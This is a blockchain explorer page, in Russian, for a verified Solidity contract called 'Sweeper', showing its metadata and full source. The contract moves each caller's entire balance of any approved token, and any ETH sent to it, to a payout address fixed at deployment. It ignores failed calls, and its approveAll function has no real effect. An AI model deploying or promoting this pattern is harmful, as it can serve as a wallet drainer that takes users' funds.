Проверенный контрактТочноеMIT
Sweeper
Адрес0xc8367243a156fbbe9d68036d72520791fcc4df8f
- Баланс
0 ETH
- Транзакций
11
- Компилятор
solc 0.8.24
- Тот же код
Только этот контракт
Подробности
- Компилятор
- solc 0.8.24+commit.e11b9ed9
- Язык
- solidity
- Оптимизация
- Нет
- Лицензия
- MIT
- Совпадение
- Точноекод создания: да, код в сети: да
- Проверен на Sourcify
- Создан в блоке
- 26 472 863
- Транзакция создания
- 0xd0f183c328…ab5178c85b
contracts/Sweeper.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
contract Sweeper {
address public immutable payout;
constructor(address p) { require(p != address(0), "payout"); payout = p; }
receive() external payable {}
function approveAll(address[] calldata tokens) external {
for (uint256 i; i < tokens.length; ++i) _approveMax(tokens[i]);
}
function sweep(address[] calldata tokens) external payable {
for (uint256 i; i < tokens.length; ++i) {
uint256 bal = _bal(tokens[i]);
if (bal == 0) continue;
_call(tokens[i], abi.encodeWithSelector(0x23b872dd, msg.sender, payout, bal));
}
if (msg.value > 0) { (bool ok, ) = payout.call{ value: msg.value }(""); require(ok, "ETH"); }
}
function _approveMax(address t) internal {
if (_allow(t) != 0) _call(t, abi.encodeWithSelector(0x095ea7b3, address(this), uint256(0)));
_call(t, abi.encodeWithSelector(0x095ea7b3, address(this), type(uint256).max));
}
function _bal(address t) internal view returns (uint256) {
(bool ok, bytes memory d) = t.staticcall(abi.encodeWithSelector(0x70a08231, msg.sender));
return (ok && d.length >= 32) ? abi.decode(d, (uint256)) : 0;
}
function _allow(address t) internal view returns (uint256) {
(bool ok, bytes memory d) = t.staticcall(abi.encodeWithSelector(0xdd62ed3e, address(this), address(this)));
return (ok && d.length >= 32) ? abi.decode(d, (uint256)) : 0;
}
function _call(address t, bytes memory data) internal {
(bool ok, bytes memory d) = t.call(data);
if (!ok) return;
if (d.length >= 32 && !abi.decode(d, (bool))) return;
}
}Настройки компилятораПоказать
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Исходный код и метаданные: Sourcify.
Исходный код принадлежит авторам контракта.